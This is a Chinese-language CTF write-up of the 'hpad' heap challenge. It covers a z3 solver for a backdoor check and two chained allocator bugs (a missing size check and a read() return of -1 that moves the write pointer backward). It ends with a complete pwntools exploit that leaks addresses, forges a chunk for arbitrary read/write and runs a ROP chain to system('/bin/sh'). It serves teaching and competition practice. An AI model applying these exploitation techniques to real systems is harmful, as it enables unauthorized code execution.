hpad
题目一览
程序实现了三种堆块模式，对应着三种不同的申请模式。
并且选择一种模式后，再也无法返回到这一层菜单，因此我们无需考虑到程序的联动操作，而是可以把题目分成三部分来单独分析。
他的实现比较复杂，这里主要提及我所发现的漏洞——来自功能3。
本文虽然是主要分析第三种管理方式，也暂时还没有发现其他管理方式存在的漏洞，但是建议各位读者也研究一下其代码，提升一下自己的代码分析能力。
这道题的Libc版本是: 2.31-0ubuntu9.2_amd64
修正Switch跳转表
在分析前，可以注意到IDA伪代码没能够成功识别出程序中的switch语句，我相信各位在之前的逆向分析过程中，也遇到过这样的问题，这里提供一种我的解决方法。
IDA这样显示的主要原因就是因为没有识别出这段switch结构中所用的跳转表
大概是因为IDA官方也知道自己的程序对于某些switch的识别存在问题，所以提供了一个自带的工具（Specify switch idiom）让我们来辅助IDA完成识别
这一段内容的配置大家需要结合代码内容进行设置，我这里就不花大的篇幅来讲如何配置。
以下是我的配置内容，读者可以参考一下
漏洞分析
稍微调整符号并配置识别Switch跳转表这对于我们分析功能提供了许多的便利。
在这部分代码中，我们很容易的就可以看到当我们输入666的时候可以跳转到程序的backdoor函数，这一般都是必须会用到的重要功能，一般这个函数的内容可以辅助我们找到程序的漏洞的大致方向。
backdoor函数
这个函数的内容函数比较清晰的
backdoor 函数实际上在做的就是读取8个字节的随机数，然后把随机数使用encode函数进行加密，并且输出加密后的内容，要求你回答加密前的内容并进行校验。
如果回答正确就可以获得一个free_list的地址，这个地址存放在bss段上，我们也可以借此来泄露出PIE基址。
encode函数
所以我们现在需要来分析encode函数的操作内容
这个encode函数实际是提供了一个复杂的方程，我一眼也看不出什么端倪来。
所以在比赛过程中，使用z3来解决这个问题应该是比较好的选择
这部分内容，我在比赛过程中卡了好一段时间，问题就出在了题目是使用逻辑左移和逻辑右移，但是如果把上述代码直接复制到z3中，z3默认的右移操作符（>>）对应的是算数右移，因此就导致了计算的误差，最终无法计算出正确的结果。
在比赛过程中是小蓝蓝师傅帮助解决的（orz），我因为对这部分内容不够了解，甚至打算使用莽夫的方式，不断爆破攻击，直到一次计算出有解。
但是爆破攻击会浪费的时间会特别多，同时这对于批量攻击脚本的编写也是一种挑战。因此我在这里想要稍微的介绍一下这部分知识。
逻辑右移和算数右移
以下用 移动1位操作来说明这三种移位方式的不同处，移动n位的操作以此可推
逻辑左移：所有位往左移动1位，直接丢弃最高位，在最低位补0
逻辑右移：所有位往右移动1位，直接丢弃最低位，在最高位补0
算数右移：所有位往右移动1位，直接丢弃最低位，如果是负数，最高位（符号位）补1；如果是正数，最高位（符号位）补0
根据上面的操作可以看出，在无论正负的情况下，符号位不会影响到左移操作，因此左移与有无符号无关，操作都是使用逻辑左移。
汇编方面：
逻辑左移：shl
逻辑右移：shr
算数右移：sar
Z3 Python操作符：
| 有符号 | 无符号 |
|---|---|
| < | ULT |
| <= | ULE |
| > | UGT |
| >= | UGE |
| / | UDiv |
| % | URem |
| >> | LShR |
| << | << |
Solver脚本
solver = Solver()
a1 = BitVec('a1', 64)
v1 = (LShR((a1 ^ (32 * a1)), 13)) ^ a1 ^ (32 * a1)
solver.add((LShR((v1 ^ (v1 << 29)), 15) ^ v1 ^ (v1 << 29)) == int(q, 16))
solver.check()
ans = solver.model()
sh.send(p64(ans[a1].as_long()))
漏洞1
这道题是先使用mmap申请一块0x1000长度的空间，然后自主管理这段空间，而问题也在于这个0x1000是有限的长度，是会被分配干净的，程序并没有做分配完之后的相关逻辑操作。
因此也导致了漏洞的存在，漏洞就在于以下代码中（0x0000000000001890）
简单的来说就是，没有判定将要申请的长度是否大于现有的剩余空间，这就会造成当前申请出来的堆块，而可能实际空间没有那么多。也就是在读入数据的过程中，可能会超出mmap申请的0x1000长度，从而引发错误，这个错误会造成读入失败，但是具体会发生什么，我们不得而知。
漏洞2
看到了上面的漏洞之后，也算是有了个大概的方向，我们想办法能够触发这个漏洞，那接下来需要分析的就是read_content函数（0x00000000000014C0）
这个漏洞相当的隐蔽，也需要足够的逻辑分析能力才能找到。
漏洞就在以上代码中，读者可以尝试着先观察一下，思考在什么情况下这段代码会存在问题。
没错，当read函数内部出现错误，也就是返回了0xFFFFFFFFFFFFFFFF的时候，这段代码就存在问题。
也就是说，在代码中的read_size = -1时，就会执行 i += read_size（i = i – 1），让读取的位置往回走1个字节，这样我们就可以从预期指针之上开始读取数据，就达到向上溢出的目的。
同时，这段代码在一般的错误的时候可能就会陷入一个死循环（一直产生异常），但是在这题中，配合了上面的漏洞，且两者结合起来，最后却能够巧妙的利用！
但是我们不知道在这个read读取超过了mmap申请的size之后会发生什么，于是我猜测：
这个错误在read函数内会被处理，并且返回-1，同时仍然记录着本次的输入，等待下一次再次调用read的时候读入这部分的内容。
并且编写以下代码来验证以上的猜想
#include <sys/mman.h>
#include <stdio.h>
#include <memory.h>
int main(int argc, char *argv[])
{
char *m;
m = (char *)mmap(0x20000000, 0x1000, 3, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
if (m == MAP_FAILED)
{
perror("map mem");
m = NULL;
return 0;
}
int num1 = read(0, m + 0xFF0, 0x100);
printf("%d\n", num1);
int num2 = read(0, m, 0x100);
printf("%d\n", num2);
munmap(m, 0x1000);
return 0;
}
我们输入内容 ‘a’ * 0x10 + 换行 的时候，程序给出的运行结果是
wjh@ubuntu:~/Desktop$ ./a.out
aaaaaaaaaaaaaaaa
-1
17
和预想的结果一致，证明我们的猜想是正确的
注意：读者在使用gdb调试的时候，第一次read读入失败的内容会被gdb的输入命令窗口吞掉，所以就不会被读入到第二次read中了，所以可能会在第二个read处等待输入。
结合利用
在程序的malloc函数中，我们发现有一个函数会遍历释放的堆块链表，并且从链表头部依次往下寻找，直到找到一个和申请size相同的释放堆块就返回，如果没找到就会从剩余空间中申请。
而我们通过这两个漏洞的结合，就得到了一个向上溢出的机会，我们可以利用这个链表，向上溢出到Remove堆块后的堆块链上的指针，并且指向bss段上来记录堆块地址的空间，因为得到这一段空间就相当于得到了任意读写权限。
而我们如果要申请出这一段空间，那么首先要符合的要求就是size相同，我们这里考虑利用程序在初始化中的\x7f来作为size标志（就像绕过fastbins size check一样），这样在我们申请0x68大小的堆块的时候，就可以取出我们伪造的堆块。
任意读写后的攻击方法
有了任意读写权限后，接下来应该就有很多种做法了。
因为程序没有用到glibc中的堆，所以打malloc_hook和free_hook是不可取的。
并且程序使用exit退出，也无法使用IO_FILE来打。
我们这里可以考虑用exit hook 或者修改栈的方式，但是由于程序有edit只能修改0x10字节的限制，所以两种方法都会比较麻烦一些。
EXP
我的exp用的是使用泄露栈地址，再构建rop的方式来getshell。
EXP中包含了我修改后的LibcSearcher库，用来解决我平时在使用LibcSearcher过程中遇到的问题，我就暂时叫他LibcSearcherEx吧。
详细介绍和安装见：https://github.com/wjhwjhn/LibcSearcher
from pwn import *
from LibcSearcher import *
from z3 import *
elf = None
libc = None
file_name = "./hpad"
def get_file():
global elf
context.binary = file_name
elf = context.binary
def get_libc():
global libc
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.3)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
else:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
if stop:
raw_input()
def heapbase(sh):
if args['REMOTE']:
return 0
infomap = os.popen("cat /proc/{}/maps".format(sh.pid)).read()
data = re.search(".*\[heap\]", infomap)
if data:
heapaddr = data.group().split("-")[0]
return int(heapaddr, 16)
else:
return 0
def libcbase():
if args['REMOTE']:
return 0
infomap = os.popen("cat /proc/{}/maps".format(sh.pid)).read()
data = re.search(".*libc.*\.so", infomap)
if data:
libcaddr = data.group().split("-")[0]
return int(libcaddr, 16)
else:
return 0
def Attack(sh=None, ip=None, port=None):
pwn(sh)
flag = get_flag(sh)
return flag
def set_libc():
os.system('patchelf --set-interpreter libc/ld.so --set-rpath libc/ ' + file_name)
def choice(sh, idx):
sh.sendlineafter("Choice", str(idx))
def add(sh, size, content):
choice(sh, 1)
sh.sendlineafter("Size:", str(size))
sh.sendlineafter("Content:", content)
def delete(sh, idx):
choice(sh, 3)
sh.sendlineafter("Index: ", str(idx))
def show(sh, idx):
choice(sh, 2)
sh.sendlineafter("Index: ", str(idx))
def edit(sh, idx, content):
choice(sh, 4)
sh.sendlineafter("Index: ", str(idx))
if len(content) < 0x10:
content += '\n'
sh.sendafter("Content:", content)
def pwn(sh):
global libc, elf
context.log_level = "debug"
# get_libc()
# get_file()
choice(sh, 3)
choice(sh, 666)
sh.recvuntil('question: ')
que = sh.recvuntil('\n')
q = hex(int(que))
solver = Solver()
a1 = BitVec('a1', 64)
v1 = (LShR((a1 ^ (32 * a1)), 13)) ^ a1 ^ (32 * a1)
solver.add((LShR((v1 ^ (v1 << 29)), 15) ^ v1 ^ (v1 << 29)) == int(q, 16))
solver.check()
ans = solver.model()
sh.send(p64(ans[a1].as_long()))
sh.recvuntil('0x')
pie_addr = int(sh.recvuntil('\n', drop=True, timeout=1), 16) - 0x6140
if pie_addr == 0:
raise EOFError
log.success("pie_addr:\t" + hex(pie_addr))
add(sh, 0xF00, "a") # 0
add(sh, 0x40, "b") # 1
add(sh, 0x40, "c") # 2
delete(sh, 1)
delete(sh, 2)
add(sh, 0x100, p64(0x50) + p64(pie_addr + 0x6125) + '\x00' * (0x90 - 1)) # 1
add(sh, 0x40, "d") # 2
add(sh, 0x60, '\x00' * 0x2B + p64(pie_addr + 0x5f28) + p64(pie_addr + 0x6170)) # 3 got@free
#leak libc
show(sh, 0)
free_addr = get_address(sh, True, info="free_addr:\t")
libc = LibcSearcher('free', free_addr, 2)
edit(sh, 1, p64(libc.sym['__environ']))
#leak stack_addr
show(sh, 2)
stack_addr = get_address(sh, True, offset=-0x150, info="ret_addr:\t")
pop_rdi_addr = pie_addr + 0x2C93
edit(sh, 1, p64(stack_addr) + p64(stack_addr + 0x10))
edit(sh, 3, p64(pop_rdi_addr + 1) + p64(libc.sym['system']))
# get_gdb(sh, "b *" + hex(pie_addr + 0x000000000001C88))
edit(sh, 2, p64(pop_rdi_addr) + p64(libc.sym['str_bin_sh']))
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh)
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
总结
这道题不算是这次比赛中最难的题目，但是其利用的精妙以及两个漏洞的结合利用令我受益匪浅。这两个漏洞，单独拿出一个来都不足以达到getshell的效果，但是两者结合居然有如此强大的威力。结合这几次的AWD或AWDP比赛可以发现，现在PWN题目对RE的要求已经是越来越高了，希望读者可以仔细的研究这道题的代码逻辑，以求在比赛中可以快速的解题。（在比赛中我就没做出来55555，希望下次能够给力一点！）